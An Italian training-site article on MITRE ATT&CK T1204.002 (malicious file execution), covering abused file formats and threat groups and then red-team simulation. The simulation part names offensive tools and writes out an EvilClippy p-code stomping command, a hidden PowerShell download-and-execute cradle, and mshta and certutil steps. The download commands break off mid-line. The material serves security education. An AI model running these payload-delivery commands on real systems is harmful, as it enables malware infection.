Iscriviti al webinar gratuito del 20 Ottobre per diventare Ethical Hacker! Scopri di più
Esecuzione di File Malevolo: Malicious File (T1204.002)
La tecnica T1204.002 - Malicious File descrive lo scenario in cui un avversario ottiene esecuzione di codice sfruttando l'apertura, da parte dell'utente, di un file appositamente confezionato. Rientra nella tattica TA0002 (Execution) e rappresenta uno degli sbocchi più frequenti dopo una Spearphishing Attachment, ma può manifestarsi anche in fasi successive, ad esempio quando un attaccante deposita un file su una share condivisa o sul desktop nella speranza che qualcuno lo esegua.
Il ventaglio di formati abusati è ampio: documenti Office con macro (.doc, .docm, .xls, .xlsm), PDF, RTF, ma anche eseguibili mascherati (.exe, .scr, .pif), collegamenti (.lnk), file di configurazione (.cpl, .reg) e contenitori come .iso usati per bypassare il Mark-of-the-Web. Frequentemente l'inganno è rinforzato da Masquerading e Obfuscated Files, con convenzioni di naming familiari o archivi protetti da password con istruzioni allegate per aggirare i controlli di gateway.
I numeri raccontano la pervasività: 84 gruppi APT documentati, 90 famiglie di malware, 11 campagne tracciate e appena 3 mitigazioni consolidate. È una tecnica trasversale a tutti i profili di attaccante, dallo state-sponsored (APT28, APT29, Lazarus Group) al cybercrime finanziario (FIN7, TA505, Wizard Spider), fino agli operatori ransomware moderni (Black Basta, Storm-1811, Qilin). L'unico anello debole realmente stabile resta il fattore umano, ed è lì che convergono sia le difese sia gli sforzi offensivi.
In un ingaggio red team autorizzato, la simulazione di T1204.002 parte dalla costruzione del lure. Per generare payload Office con macro VBA in ambiente lab si usa comunemente MacroPack Community (open source) oppure EvilClippy (open source) per manipolare i documenti e nascondere il codice VBA agli analizzatori statici. La sintassi tipica è EvilClippy.exe -s decoy.vba -g target.docm per iniettare stomping del p-code, tecnica che rende il source VBA invisibile ma il p-code compilato ancora eseguibile.
Per i payload basati su LNK, il tool di riferimento è LNKUp (open source) o gli script PowerShell di generazione manuale via WScript.Shell. Un LNK che invoca powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('
Per la fase di weaponization con payload eseguibili mascherati, Invoke-Obfuscation (open source) e Donut (open source) permettono di generare shellcode .NET convertito in loader PE, mentre Nim-Shellcode-Loader (open source) o Havoc C2 (open source) offrono framework post-exploitation compatibili con il pattern di consegna via file.
Una catena realistica in laboratorio prevede: (1) documento Word con macro AutoOpen che scrive un file .hta in %TEMP%, (2) esecuzione via mshta.exe %TEMP%\update.hta, (3) download della seconda stage tramite certutil -urlcache -split -f
Per social engineering testing, GoPhish (open source) e Evilginx3 (open source) coprono la parte di consegna e tracking del click. Fondamentale, in ogni engagement, concordare con il committente le safe-word nei documenti (metadata custom, watermark) per distinguere il traffico red team dai reali incidenti. Su macOS, la simulazione richiede DMG firmati con certificati di test e attributo com.apple.quarantine per riprodurre fedelmente il percorso Gatekeeper che OSX/Shlayer ha storicamente aggirato.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.